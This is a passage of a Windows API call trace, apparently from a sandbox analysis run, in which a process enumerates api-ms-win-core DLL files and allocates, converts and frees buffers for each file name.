nFileSizeLow=0x1000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0136.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0xa9c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0136.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.903] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0136.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0136.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0xa9c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0136.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.903] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0136.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.903] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0xa9c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0136.903] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.903] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.904] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0136.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa9c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0136.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.904] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0136.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xa9c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0136.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.904] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.904] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0136.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.904] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0xa9c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0136.904] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.905] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.905] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.905] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0136.905] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0xa9c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0136.905] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.905] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.905] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.905] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0136.905] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0xa9c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0136.905] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.905] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.905] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0136.905] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.905] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0136.905] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.905] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0xa9c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0136.905] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.906] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.906] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.906] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.906] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.906] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.906] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.906] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0136.906] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xa9c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0136.906] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.906] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.906] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.906] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.906] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.906] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.906] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.906] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0136.906] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xa9c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0136.906] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.906] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.906] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.906] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.906] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.906] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.907] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.907] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0136.907] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xa9c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0136.907] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.907] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.907] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.907] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.907] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e8c8) returned 1 [0136.907] FindNextFileW (in: hFindFile=0x81fcd8, lpFindFileData=0x1a7fc30 | out: lpFindFileData=0x1a7fc30*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x8185a8, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0136.907] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e8c8 [0136.907] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0xa9e950 [0136.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0136.907] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c288 [0136.907] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xa9c288, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0136.907] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa9c120 [0136.907] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c288) returned 1 [0136.907] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9c120) returned 1 [0136.907] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa9e950) returned 1 [0136.907] 